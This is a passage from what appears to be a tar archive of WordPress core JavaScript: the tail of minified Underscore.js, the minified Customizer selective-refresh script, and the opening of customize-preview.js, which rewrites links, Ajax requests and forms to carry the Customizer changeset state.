r=B(r,!0,!0),T(n,function(n){return!k(r,n)})}),Ir=l(function(n,r){return Nr(n,r)});function Tr(n,r,t,e){Q(r)||(e=t,t=r,r=!1),null!=t&&(t=S(t,e));for(var u=[],i=[],o=0,f=g(n);o<f;o++){var a=n[o],c=t?t(a,o,n):a;r&&!t?(o&&i===c||u.push(a),i=c):t?k(i,c)||(i.push(c),u.push(a)):k(u,a)||u.push(a)}return u}var kr=l(function(n){return Tr(B(n,!0,!0))});function Dr(n){for(var r=n&&gr(n,g).length||0,t=Array(r),e=0;e<r;e++)t[e]=dr(n,e);return t}var Rr=l(Dr);function Fr(n,r){return n._chain?m(r).chain():r}function Vr(t){return N(xn(t),function(n){var r=m[n]=t[n];m.prototype[n]=function(){var n=[this._wrapped];return P.apply(n,arguments),Fr(this,r.apply(m,n))}}),m}N(["pop","push","reverse","shift","sort","splice","unshift"],function(r){var t=e[r];m.prototype[r]=function(){var n=this._wrapped;return null!=n&&(t.apply(n,arguments),"shift"!==r&&"splice"!==r||0!==n.length||delete n[0]),Fr(this,n)}}),N(["concat","join","slice"],function(n){var r=e[n];m.prototype[n]=function(){var n=this._wrapped;return Fr(this,n=null!=n?r.apply(n,arguments):n)}});n=Vr({__proto__:null,VERSION:n,restArguments:l,isObject:i,isNull:function(n){return null===n},isUndefined:H,isBoolean:Q,isElement:function(n){return!(!n||1!==n.nodeType)},isString:X,isNumber:Y,isDate:Z,isRegExp:nn,isError:rn,isSymbol:tn,isArrayBuffer:en,isDataView:h,isArray:v,isFunction:p,isArguments:fn,isFinite:function(n){return!tn(n)&&C(n)&&!isNaN(parseFloat(n))},isNaN:an,isTypedArray:vn,isEmpty:function(n){if(null==n)return!0;var r=g(n);return"number"==typeof r&&(v(n)||X(n)||fn(n))?0===r:0===g(b(n))},isMatch:dn,isEqual:function(n,r){return mn(n,r)},isMap:u,isWeakMap:r,isSet:U,isWeakSet:f,keys:b,allKeys:c,values:j,pairs:function(n){for(var r=b(n),t=r.length,e=Array(t),u=0;u<t;u++)e[u]=[r[u],n[r[u]]];return e},invert:An,functions:xn,methods:xn,extend:On,extendOwn:_,assign:_,defaults:Mn,create:function(n,r){return n=En(n),r&&_(n,r),n},clone:function(n){return i(n)?v(n)?n.slice():On({},n):n},tap:function(n,r){return r(n),n},get:In,has:function(n,r){for(var t=(r=w(r)).length,e=0;e<t;e++){var u=r[e];if(!y(n,u))return!1;n=n[u]}return!!t},mapObject:function(n,r,t){r=S(r,t);for(var e=b(n),u=e.length,i={},o=0;o<u;o++){var f=e[o];i[f]=r(n[f],f,n)}return i},identity:Tn,constant:cn,noop:Fn,toPath:Bn,property:kn,propertyOf:function(r){return null==r?Fn:function(n){return In(r,n)}},matcher:A,matches:A,times:function(n,r,t){var e=Array(Math.max(0,n));r=x(r,t,1);for(var u=0;u<n;u++)e[u]=r(u);return e},random:Vn,now:O,escape:qn,unescape:t,templateSettings:Un,template:function(i,n,r){n=Mn({},n=!n&&r?r:n,m.templateSettings);var t,r=RegExp([(n.escape||Wn).source,(n.interpolate||Wn).source,(n.evaluate||Wn).source].join("|")+"|$","g"),o=0,f="__p+='";if(i.replace(r,function(n,r,t,e,u){return f+=i.slice(o,u).replace(Ln,$n),o=u+n.length,r?f+="'+\n((__t=("+r+"))==null?'':_.escape(__t))+\n'":t?f+="'+\n((__t=("+t+"))==null?'':__t)+\n'":e&&(f+="';\n"+e+"\n__p+='"),n}),f+="';\n",r=n.variable){if(!Cn.test(r))throw new Error("variable is not a bare identifier: "+r)}else f="with(obj||{}){\n"+f+"}\n",r="obj";f="var __t,__p='',__j=Array.prototype.join,print=function(){__p+=__j.call(arguments,'');};\n"+f+"return __p;\n";try{t=new Function(r,"_",f)}catch(n){throw n.source=f,n}function e(n){return t.call(this,n,m)}return e.source="function("+r+"){\n"+f+"}",e},result:function(n,r,t){var e=(r=w(r)).length;if(!e)return p(t)?t.call(n):t;for(var u=0;u<e;u++){var i=null==n?void 0:n[r[u]];void 0===i&&(i=t,u=e),n=p(i)?i.call(n):i}return n},uniqueId:function(n){var r=++Kn+"";return n?n+r:r},chain:function(n){return(n=m(n))._chain=!0,n},iteratee:Rn,partial:M,bind:Gn,bindAll:Hn,memoize:function(e,u){function i(n){var r=i.cache,t=""+(u?u.apply(this,arguments):n);return y(r,t)||(r[t]=e.apply(this,arguments)),r[t]}return i.cache={},i},delay:Qn,defer:Xn,throttle:function(t,e,u){function i(){l=!1===u.leading?0:O(),o=null,c=t.apply(f,a),o||(f=a=null)}function n(){var n=O(),r=(l||!1!==u.leading||(l=n),e-(n-l));return f=this,a=arguments,r<=0||e<r?(o&&(clearTimeout(o),o=null),l=n,c=t.apply(f,a),o||(f=a=null)):o||!1===u.trailing||(o=setTimeout(i,r)),c}var o,f,a,c,l=0;return u=u||{},n.cancel=function(){clearTimeout(o),l=0,o=f=a=null},n},debounce:function(r,t,e){function u(){var n=O()-o;n<t?i=setTimeout(u,t-n):(i=null,e||(a=r.apply(c,f)),i||(f=c=null))}var i,o,f,a,c,n=l(function(n){return c=this,f=n,o=O(),i||(i=setTimeout(u,t),e&&(a=r.apply(c,f))),a});return n.cancel=function(){clearTimeout(i),i=f=c=null},n},wrap:function(n,r){return M(r,n)},negate:Yn,compose:function(){var t=arguments,e=t.length-1;return function(){for(var n=e,r=t[e].apply(this,arguments);n--;)r=t[n].call(this,r);return r}},after:function(n,r){return function(){if(--n<1)return r.apply(this,arguments)}},before:Zn,once:nr,findKey:rr,findIndex:er,findLastIndex:ur,sortedIndex:ir,indexOf:fr,lastIndexOf:ar,find:cr,detect:cr,findWhere:function(n,r){return cr(n,A(r))},each:N,forEach:N,map:I,collect:I,reduce:sr,foldl:sr,inject:sr,reduceRight:pr,foldr:pr,filter:T,select:T,reject:function(n,r,t){return T(n,Yn(S(r)),t)},every:hr,all:hr,some:vr,any:vr,contains:k,includes:k,include:k,invoke:yr,pluck:dr,where:function(n,r){return T(n,A(r))},max:gr,min:function(n,e,r){var t,u,i=1/0,o=1/0;if(null==e||"number"==typeof e&&"object"!=typeof n[0]&&null!=n)for(var f=0,a=(n=E(n)?n:j(n)).length;f<a;f++)null!=(t=n[f])&&t<i&&(i=t);else e=S(e,r),N(n,function(n,r,t){((u=e(n,r,t))<o||u===1/0&&i===1/0)&&(i=n,o=u)});return i},shuffle:function(n){return jr(n,1/0)},sample:jr,sortBy:function(n,e,r){var u=0;return e=S(e,r),dr(I(n,function(n,r,t){return{value:n,index:u++,criteria:e(n,r,t)}}).sort(function(n,r){var t=n.criteria,e=r.criteria;if(t!==e){if(e<t||void 0===t)return 1;if(t<e||void 0===e)return-1}return n.index-r.index}),"value")},groupBy:_r,indexBy:wr,countBy:Ar,partition:xr,toArray:mr,size:function(n){return null==n?0:(E(n)?n:b(n)).length},pick:Or,omit:Mr,first:Br,head:Br,take:Br,initial:Er,last:function(n,r,t){return null==n||n.length<1?null==r||t?void 0:[]:null==r||t?n[n.length-1]:R(n,Math.max(0,n.length-r))},rest:R,tail:R,drop:R,compact:function(n){return T(n,Boolean)},flatten:function(n,r){return B(n,r,!1)},without:Ir,uniq:Tr,unique:Tr,union:kr,intersection:function(n){for(var r=[],t=arguments.length,e=0,u=g(n);e<u;e++){var i=n[e];if(!k(r,i)){for(var o=1;o<t&&k(arguments[o],i);o++);o===t&&r.push(i)}}return r},difference:Nr,unzip:Dr,transpose:Dr,zip:Rr,object:function(n,r){for(var t={},e=0,u=g(n);e<u;e++)r?t[n[e]]=r[e]:t[n[e][0]]=n[e][1];return t},range:function(n,r,t){null==r&&(r=n||0,n=0),t=t||(r<n?-1:1);for(var e=Math.max(Math.ceil((r-n)/t),0),u=Array(e),i=0;i<e;i++,n+=t)u[i]=n;return u},chunk:function(n,r){if(null==r||r<1)return[];for(var t=[],e=0,u=n.length;e<u;)t.push(a.call(n,e,e+=r));return t},mixin:Vr,default:m});return n._=n});���������������������������������js/customize-selective-refresh.min.js���������������������������������������������������������������0000644�����������������00000024704�14717703502�0013754 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! This file is auto-generated */ wp.customize.selectiveRefresh=function(o,r){"use strict";var t,s,c={ready:o.Deferred(),editShortcutVisibility:new r.Value,data:{partials:{},renderQueryVar:"",l10n:{shiftClickToEdit:""}},currentRequest:null};return _.extend(c,r.Events),t=c.Partial=r.Class.extend({id:null,defaults:{selector:null,primarySetting:null,containerInclusive:!1,fallbackRefresh:!0},initialize:function(e,t){var n=this;t=t||{},n.id=e,n.params=_.extend({settings:[]},n.defaults,t.params||t),n.deferred={},n.deferred.ready=o.Deferred(),n.deferred.ready.done(function(){n.ready()})},ready:function(){var n=this;_.each(n.placements(),function(e){o(e.container).attr("title",c.data.l10n.shiftClickToEdit),n.createEditShortcutForPlacement(e)}),o(document).on("click",n.params.selector,function(t){t.shiftKey&&(t.preventDefault(),_.each(n.placements(),function(e){o(e.container).is(t.currentTarget)&&n.showControl()}))})},createEditShortcutForPlacement:function(e){var t,n=this;!e.container||!(t=o(e.container)).length||t.is("area, audio, base, bdi, bdo, br, button, canvas, col, colgroup, command, datalist, embed, head, hr, html, iframe, img, input, keygen, label, link, map, math, menu, meta, noscript, object, optgroup, option, param, progress, rp, rt, ruby, script, select, source, style, svg, table, tbody, textarea, tfoot, thead, title, tr, track, video, wbr")||t.closest("head").length||((t=n.createEditShortcut()).on("click",function(e){e.preventDefault(),e.stopPropagation(),n.showControl()}),n.addEditShortcutToPlacement(e,t))},addEditShortcutToPlacement:function(e,t){e=o(e.container);e.prepend(t),e.is(":visible")&&"none"!==e.css("display")||t.addClass("customize-partial-edit-shortcut-hidden")},getEditShortcutClassName:function(){return"customize-partial-edit-shortcut-"+this.id.replace(/]/g,"").replace(/\[/g,"-")},getEditShortcutTitle:function(){var e=c.data.l10n;switch(this.getType()){case"widget":return e.clickEditWidget;case"blogname":case"blogdescription":return e.clickEditTitle;case"nav_menu":return e.clickEditMenu;default:return e.clickEditMisc}},getType:function(){var e=this,t=e.params.primarySetting||_.first(e.settings())||"unknown";return e.params.type||(t.match(/^nav_menu_instance\[/)?"nav_menu":t.match(/^widget_.+\[\d+]$/)?"widget":t)},createEditShortcut:function(){var e=this.getEditShortcutTitle(),t=o("<span>",{class:"customize-partial-edit-shortcut "+this.getEditShortcutClassName()}),e=o("<button>",{"aria-label":e,title:e,class:"customize-partial-edit-shortcut-button"}),n=o('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg>');return e.append(n),t.append(e),t},placements:function(){var n=this,e=n.params.selector||"";return e&&(e+=", "),e+='[data-customize-partial-id="'+n.id+'"]',o(e).map(function(){var e=o(this),t=e.data("customize-partial-placement-context");if(_.isString(t)&&"{"===t.substr(0,1))throw new Error("context JSON parse error");return new s({partial:n,container:e,context:t})}).get()},settings:function(){var e=this;return e.params.settings&&0!==e.params.settings.length?e.params.settings:e.params.primarySetting?[e.params.primarySetting]:[e.id]},isRelatedSetting:function(e){return!!(e=_.isString(e)?r(e):e)&&-1!==_.indexOf(this.settings(),e.id)},showControl:function(){var e=this,t=(t=e.params.primarySetting)||_.first(e.settings());"nav_menu"===e.getType()&&(e.params.navMenuArgs.theme_location?t="nav_menu_locations["+e.params.navMenuArgs.theme_location+"]":e.params.navMenuArgs.menu&&(t="nav_menu["+String(e.params.navMenuArgs.menu)+"]")),r.preview.send("focus-control-for-setting",t)},preparePlacement:function(e){o(e.container).addClass("customize-partial-refreshing")},_pendingRefreshPromise:null,refresh:function(){var n=this,e=c.requestPartial(n);return n._pendingRefreshPromise||(_.each(n.placements(),function(e){n.preparePlacement(e)}),e.done(function(e){_.each(e,function(e){n.renderContent(e)})}),e.fail(function(e,t){n.fallback(e,t)}),(n._pendingRefreshPromise=e).always(function(){n._pendingRefreshPromise=null})),e},renderContent:function(t){var e,n,r=this;if(!t.container)return r.fallback(new Error("no_container"),[t]),!1;if(t.container=o(t.container),!1===t.addedContent)return r.fallback(new Error("missing_render"),[t]),!1;if(!_.isString(t.addedContent))return r.fallback(new Error("non_string_content"),[t]),!1;c.orginalDocumentWrite=document.write,document.write=function(){throw new Error(c.data.l10n.badDocumentWrite)};try{if(e=t.addedContent,wp.emoji&&wp.emoji.parse&&!o.contains(document.head,t.container[0])&&(e=wp.emoji.parse(e)),r.params.containerInclusive)n=o(e),t.context=_.extend(t.context,n.data("customize-partial-placement-context")||{}),n.data("customize-partial-placement-context",t.context),t.removedNodes=t.container,t.container=n,t.removedNodes.replaceWith(t.container),t.container.attr("title",c.data.l10n.shiftClickToEdit);else{for(t.removedNodes=document.createDocumentFragment();t.container[0].firstChild;)t.removedNodes.appendChild(t.container[0].firstChild);t.container.html(e)}t.container.removeClass("customize-render-content-error")}catch(e){"undefined"!=typeof console&&console.error&&console.error(r.id,e),r.fallback(e,[t])}return document.write=c.orginalDocumentWrite,c.orginalDocumentWrite=null,r.createEditShortcutForPlacement(t),t.container.removeClass("customize-partial-refreshing"),t.container.data("customize-partial-content-rendered",!0),wp.mediaelement&&wp.mediaelement.initialize(),wp.playlist&&wp.playlist.initialize(),c.trigger("partial-content-rendered",t),!0},fallback:function(){this.params.fallbackRefresh&&c.requestFullRefresh()}}),c.Placement=s=r.Class.extend({partial:null,container:null,startNode:null,endNode:null,context:null,addedContent:null,removedNodes:null,initialize:function(e){if(!(e=_.extend({},e||{})).partial||!e.partial.extended(t))throw new Error("Missing partial");e.context=e.context||{},e.container&&(e.container=o(e.container)),_.extend(this,e)}}),c.partialConstructor={},c.partial=new r.Values({defaultConstructor:t}),c.getCustomizeQuery=function(){var n={};return r.each(function(e,t){e._dirty&&(n[t]=e())}),{wp_customize:"on",nonce:r.settings.nonce.preview,customize_theme:r.settings.theme.stylesheet,customized:JSON.stringify(n),customize_changeset_uuid:r.settings.changeset.uuid}},c._pendingPartialRequests={},c._debouncedTimeoutId=null,c._currentRequest=null,c.requestFullRefresh=function(){r.preview.send("refresh")},c.requestPartial=function(e){var t;return c._debouncedTimeoutId&&(clearTimeout(c._debouncedTimeoutId),c._debouncedTimeoutId=null),c._currentRequest&&(c._currentRequest.abort(),c._currentRequest=null),(t=c._pendingPartialRequests[e.id])&&"pending"===t.deferred.state()||(t={deferred:o.Deferred(),partial:e},c._pendingPartialRequests[e.id]=t),e=null,c._debouncedTimeoutId=setTimeout(function(){var n,i,e;c._debouncedTimeoutId=null,e=c.getCustomizeQuery(),i={},n={},_.each(c._pendingPartialRequests,function(e,t){i[t]=e.partial.placements(),c.partial.has(t)?n[t]=_.map(i[t],function(e){return e.context||{}}):e.deferred.rejectWith(e.partial,[new Error("partial_removed"),i[t]])}),e.partials=JSON.stringify(n),e[c.data.renderQueryVar]="1",(e=c._currentRequest=wp.ajax.send(null,{data:e,url:r.settings.url.self})).done(function(t){c.trigger("render-partials-response",t),t.errors&&"undefined"!=typeof console&&console.warn&&_.each(t.errors,function(e){console.warn(e)}),_.each(c._pendingPartialRequests,function(n,r){var e;_.isArray(t.contents[r])?(e=_.map(t.contents[r],function(e,t){t=i[r][t];return t?t.addedContent=e:t=new s({partial:n.partial,addedContent:e}),t}),n.deferred.resolveWith(n.partial,[e])):n.deferred.rejectWith(n.partial,[new Error("unrecognized_partial"),i[r]])}),c._pendingPartialRequests={}}),e.fail(function(n,e){"abort"!==e&&(_.each(c._pendingPartialRequests,function(e,t){e.deferred.rejectWith(e.partial,[n,i[t]])}),c._pendingPartialRequests={})})},r.settings.timeouts.selectiveRefresh),t.deferred.promise()},c.addPartials=function(e,a){var t;e=e||document.documentElement,e=o(e),a=_.extend({triggerRendered:!0},a||{}),t=e.find("[data-customize-partial-id]"),(t=e.is("[data-customize-partial-id]")?t.add(e):t).each(function(){var e,t,n,r=o(this),i=r.data("customize-partial-id");i&&(n=r.data("customize-partial-placement-context")||{},(e=c.partial(i))||((t=r.data("customize-partial-options")||{}).constructingContainerContext=r.data("customize-partial-placement-context")||{},e=new(c.partialConstructor[r.data("customize-partial-type")]||c.Partial)(i,t),c.partial.add(e)),a.triggerRendered&&!r.data("customize-partial-content-rendered")&&(i=new s({partial:e,context:n,container:r}),o(i.container).attr("title",c.data.l10n.shiftClickToEdit),e.createEditShortcutForPlacement(i),c.trigger("partial-content-rendered",i)),r.data("customize-partial-content-rendered",!0))})},r.bind("preview-ready",function(){var t,e;_.extend(c.data,_customizePartialRefreshExports),_.each(c.data.partials,function(e,t){var n=c.partial(t);n?_.extend(n.params,e):(n=new(c.partialConstructor[e.type]||c.Partial)(t,_.extend({params:e},e)),c.partial.add(n))}),t=function(t,n){var r=this;c.partial.each(function(e){e.isRelatedSetting(r,t,n)&&e.refresh()})},e=function(e){t.call(e,null,e()),e.unbind(t)},r.bind("add",function(e){t.call(e,e(),null),e.bind(t)}),r.bind("remove",e),r.each(function(e){e.bind(t)}),c.addPartials(document.documentElement,{triggerRendered:!1}),"undefined"!=typeof MutationObserver&&(c.mutationObserver=new MutationObserver(function(e){_.each(e,function(e){c.addPartials(o(e.target))})}),c.mutationObserver.observe(document.documentElement,{childList:!0,subtree:!0})),r.selectiveRefresh.bind("partial-content-rendered",function(e){e.container&&c.addPartials(e.container)}),r.selectiveRefresh.bind("render-partials-response",function(e){e.setting_validities&&r.preview.send("selective-refresh-setting-validities",e.setting_validities)}),r.preview.bind("edit-shortcut-visibility",function(e){r.selectiveRefresh.editShortcutVisibility.set(e)}),r.selectiveRefresh.editShortcutVisibility.bind(function(e){var t=o(document.body),n="hidden"===e&&t.hasClass("customize-partial-edit-shortcuts-shown")&&!t.hasClass("customize-partial-edit-shortcuts-hidden");t.toggleClass("customize-partial-edit-shortcuts-hidden",n),t.toggleClass("customize-partial-edit-shortcuts-shown","visible"===e)}),r.preview.bind("active",function(){c.partial.each(function(e){e.deferred.ready.resolve()}),c.partial.bind("add",function(e){e.deferred.ready.resolve()})})}),c}(jQuery,wp.customize);������������������������������������������������������������js/customize-preview.js�����������������������������������������������������������������������������0000644�����������������00000066470�14717703502�0011242 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/* * Script run inside a Customizer preview frame. * * @output wp-includes/js/customize-preview.js */ (function( exports, $ ){ var api = wp.customize, debounce, currentHistoryState = {}; /* * Capture the state that is passed into history.replaceState() and history.pushState() * and also which is returned in the popstate event so that when the changeset_uuid * gets updated when transitioning to a new changeset there the current state will * be supplied in the call to history.replaceState(). */ ( function( history ) { var injectUrlWithState; if ( ! history.replaceState ) { return; } /** * Amend the supplied URL with the customized state. * * @since 4.7.0 * @access private * * @param {string} url URL. * @return {string} URL with customized state. */ injectUrlWithState = function( url ) { var urlParser, oldQueryParams, newQueryParams; urlParser = document.createElement( 'a' ); urlParser.href = url; oldQueryParams = api.utils.parseQueryString( location.search.substr( 1 ) ); newQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); newQueryParams.customize_changeset_uuid = oldQueryParams.customize_changeset_uuid; if ( oldQueryParams.customize_autosaved ) { newQueryParams.customize_autosaved = 'on'; } if ( oldQueryParams.customize_theme ) { newQueryParams.customize_theme = oldQueryParams.customize_theme; } if ( oldQueryParams.customize_messenger_channel ) { newQueryParams.customize_messenger_channel = oldQueryParams.customize_messenger_channel; } urlParser.search = $.param( newQueryParams ); return urlParser.href; }; history.replaceState = ( function( nativeReplaceState ) { return function historyReplaceState( data, title, url ) { currentHistoryState = data; return nativeReplaceState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.replaceState ); history.pushState = ( function( nativePushState ) { return function historyPushState( data, title, url ) { currentHistoryState = data; return nativePushState.call( history, data, title, 'string' === typeof url && url.length > 0 ? injectUrlWithState( url ) : url ); }; } )( history.pushState ); window.addEventListener( 'popstate', function( event ) { currentHistoryState = event.state; } ); }( history ) ); /** * Returns a debounced version of the function. * * @todo Require Underscore.js for this file and retire this. */ debounce = function( fn, delay, context ) { var timeout; return function() { var args = arguments; context = context || this; clearTimeout( timeout ); timeout = setTimeout( function() { timeout = null; fn.apply( context, args ); }, delay ); }; }; /** * @memberOf wp.customize * @alias wp.customize.Preview * * @constructor * @augments wp.customize.Messenger * @augments wp.customize.Class * @mixes wp.customize.Events */ api.Preview = api.Messenger.extend(/** @lends wp.customize.Preview.prototype */{ /** * @param {Object} params - Parameters to configure the messenger. * @param {Object} options - Extend any instance parameter or method with this object. */ initialize: function( params, options ) { var preview = this, urlParser = document.createElement( 'a' ); api.Messenger.prototype.initialize.call( preview, params, options ); urlParser.href = preview.origin(); preview.add( 'scheme', urlParser.protocol.replace( /:$/, '' ) ); preview.body = $( document.body ); preview.window = $( window ); if ( api.settings.channel ) { // If in an iframe, then intercept the link clicks and form submissions. preview.body.on( 'click.preview', 'a', function( event ) { preview.handleLinkClick( event ); } ); preview.body.on( 'submit.preview', 'form', function( event ) { preview.handleFormSubmit( event ); } ); preview.window.on( 'scroll.preview', debounce( function() { preview.send( 'scroll', preview.window.scrollTop() ); }, 200 ) ); preview.bind( 'scroll', function( distance ) { preview.window.scrollTop( distance ); }); } }, /** * Handle link clicks in preview. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleLinkClick: function( event ) { var preview = this, link, isInternalJumpLink; link = $( event.target ).closest( 'a' ); // No-op if the anchor is not a link. if ( _.isUndefined( link.attr( 'href' ) ) ) { return; } // Allow internal jump links and JS links to behave normally without preventing default. isInternalJumpLink = ( '#' === link.attr( 'href' ).substr( 0, 1 ) ); if ( isInternalJumpLink || ! /^https?:$/.test( link.prop( 'protocol' ) ) ) { return; } // If the link is not previewable, prevent the browser from navigating to it. if ( ! api.isLinkPreviewable( link[0] ) ) { wp.a11y.speak( api.settings.l10n.linkUnpreviewable ); event.preventDefault(); return; } // Prevent initiating navigating from click and instead rely on sending url message to pane. event.preventDefault(); /* * Note the shift key is checked so shift+click on widgets or * nav menu items can just result on focusing on the corresponding * control instead of also navigating to the URL linked to. */ if ( event.shiftKey ) { return; } // Note: It's not relevant to send scroll because sending url message will have the same effect. preview.send( 'url', link.prop( 'href' ) ); }, /** * Handle form submit. * * @since 4.7.0 * @access public * * @param {jQuery.Event} event Event. */ handleFormSubmit: function( event ) { var preview = this, urlParser, form; urlParser = document.createElement( 'a' ); form = $( event.target ); urlParser.href = form.prop( 'action' ); // If the link is not previewable, prevent the browser from navigating to it. if ( 'GET' !== form.prop( 'method' ).toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { wp.a11y.speak( api.settings.l10n.formUnpreviewable ); event.preventDefault(); return; } /* * If the default wasn't prevented already (in which case the form * submission is already being handled by JS), and if it has a GET * request method, then take the serialized form data and add it as * a query string to the action URL and send this in a url message * to the customizer pane so that it will be loaded. If the form's * action points to a non-previewable URL, the customizer pane's * previewUrl setter will reject it so that the form submission is * a no-op, which is the same behavior as when clicking a link to an * external site in the preview. */ if ( ! event.isDefaultPrevented() ) { if ( urlParser.search.length > 1 ) { urlParser.search += '&'; } urlParser.search += form.serialize(); preview.send( 'url', urlParser.href ); } // Prevent default since navigation should be done via sending url message or via JS submit handler. event.preventDefault(); } }); /** * Inject the changeset UUID into links in the document. * * @since 4.7.0 * @access protected * @access private * * @return {void} */ api.addLinkPreviewing = function addLinkPreviewing() { var linkSelectors = 'a[href], area[href]'; // Inject links into initial document. $( document.body ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); // Inject links for new elements added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( linkSelectors ).each( function() { api.prepareLinkPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } else { // If mutation observers aren't available, fallback to just-in-time injection. $( document.documentElement ).on( 'click focus mouseover', linkSelectors, function() { api.prepareLinkPreview( this ); } ); } }; /** * Should the supplied link is previewable. * * @since 4.7.0 * @access public * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.pathname Path. * @param {string} element.host Host. * @param {Object} [options] * @param {Object} [options.allowAdminAjax=false] Allow admin-ajax.php requests. * @return {boolean} Is appropriate for changeset link. */ api.isLinkPreviewable = function isLinkPreviewable( element, options ) { var matchesAllowedUrl, parsedAllowedUrl, args, elementHost; args = _.extend( {}, { allowAdminAjax: false }, options || {} ); if ( 'javascript:' === element.protocol ) { // jshint ignore:line return true; } // Only web URLs can be previewed. if ( 'https:' !== element.protocol && 'http:' !== element.protocol ) { return false; } elementHost = element.host.replace( /:(80|443)$/, '' ); parsedAllowedUrl = document.createElement( 'a' ); matchesAllowedUrl = ! _.isUndefined( _.find( api.settings.url.allowed, function( allowedUrl ) { parsedAllowedUrl.href = allowedUrl; return parsedAllowedUrl.protocol === element.protocol && parsedAllowedUrl.host.replace( /:(80|443)$/, '' ) === elementHost && 0 === element.pathname.indexOf( parsedAllowedUrl.pathname.replace( /\/$/, '' ) ); } ) ); if ( ! matchesAllowedUrl ) { return false; } // Skip wp login and signup pages. if ( /\/wp-(login|signup)\.php$/.test( element.pathname ) ) { return false; } // Allow links to admin ajax as faux frontend URLs. if ( /\/wp-admin\/admin-ajax\.php$/.test( element.pathname ) ) { return args.allowAdminAjax; } // Disallow links to admin, includes, and content. if ( /\/wp-(admin|includes|content)(\/|$)/.test( element.pathname ) ) { return false; } return true; }; /** * Inject the customize_changeset_uuid query param into links on the frontend. * * @since 4.7.0 * @access protected * * @param {HTMLAnchorElement|HTMLAreaElement} element Link element. * @param {string} element.search Query string. * @param {string} element.host Host. * @param {string} element.protocol Protocol. * @return {void} */ api.prepareLinkPreview = function prepareLinkPreview( element ) { var queryParams, $element = $( element ); // Skip elements with no href attribute. Check first to avoid more expensive checks down the road. if ( ! element.hasAttribute( 'href' ) ) { return; } // Skip links in admin bar. if ( $element.closest( '#wpadminbar' ).length ) { return; } // Ignore links with href="#", href="#id", or non-HTTP protocols (e.g. javascript: and mailto:). if ( '#' === $element.attr( 'href' ).substr( 0, 1 ) || ! /^https?:$/.test( element.protocol ) ) { return; } // Make sure links in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === element.protocol && -1 !== api.settings.url.allowedHosts.indexOf( element.host ) ) { element.protocol = 'https:'; } // Ignore links with class wp-playlist-caption. if ( $element.hasClass( 'wp-playlist-caption' ) ) { return; } if ( ! api.isLinkPreviewable( element ) ) { // Style link as unpreviewable only if previewing in iframe; if previewing on frontend, links will be allowed to work normally. if ( api.settings.channel ) { $element.addClass( 'customize-unpreviewable' ); } return; } $element.removeClass( 'customize-unpreviewable' ); queryParams = api.utils.parseQueryString( element.search.substring( 1 ) ); queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { queryParams.customize_messenger_channel = api.settings.channel; } element.search = $.param( queryParams ); }; /** * Inject the changeset UUID into Ajax requests. * * @since 4.7.0 * @access protected * * @return {void} */ api.addRequestPreviewing = function addRequestPreviewing() { /** * Rewrite Ajax requests to inject customizer state. * * @param {Object} options Options. * @param {string} options.type Type. * @param {string} options.url URL. * @param {Object} originalOptions Original options. * @param {XMLHttpRequest} xhr XHR. * @return {void} */ var prefilterAjax = function( options, originalOptions, xhr ) { var urlParser, queryParams, requestMethod, dirtyValues = {}; urlParser = document.createElement( 'a' ); urlParser.href = options.url; // Abort if the request is not for this site. if ( ! api.isLinkPreviewable( urlParser, { allowAdminAjax: true } ) ) { return; } queryParams = api.utils.parseQueryString( urlParser.search.substring( 1 ) ); // Note that _dirty flag will be cleared with changeset updates. api.each( function( setting ) { if ( setting._dirty ) { dirtyValues[ setting.id ] = setting.get(); } } ); if ( ! _.isEmpty( dirtyValues ) ) { requestMethod = options.type.toUpperCase(); // Override underlying request method to ensure unsaved changes to changeset can be included (force Backbone.emulateHTTP). if ( 'POST' !== requestMethod ) { xhr.setRequestHeader( 'X-HTTP-Method-Override', requestMethod ); queryParams._method = requestMethod; options.type = 'POST'; } // Amend the post data with the customized values. if ( options.data ) { options.data += '&'; } else { options.data = ''; } options.data += $.param( { customized: JSON.stringify( dirtyValues ) } ); } // Include customized state query params in URL. queryParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { queryParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { queryParams.customize_theme = api.settings.theme.stylesheet; } // Ensure preview nonce is included with every customized request, to allow post data to be read. queryParams.customize_preview_nonce = api.settings.nonce.preview; urlParser.search = $.param( queryParams ); options.url = urlParser.href; }; $.ajaxPrefilter( prefilterAjax ); }; /** * Inject changeset UUID into forms, allowing preview to persist through submissions. * * @since 4.7.0 * @access protected * * @return {void} */ api.addFormPreviewing = function addFormPreviewing() { // Inject inputs for forms in initial document. $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); // Inject inputs for new forms added to the page. if ( 'undefined' !== typeof MutationObserver ) { api.mutationObserver = new MutationObserver( function( mutations ) { _.each( mutations, function( mutation ) { $( mutation.target ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); } ); } ); api.mutationObserver.observe( document.documentElement, { childList: true, subtree: true } ); } }; /** * Inject changeset into form inputs. 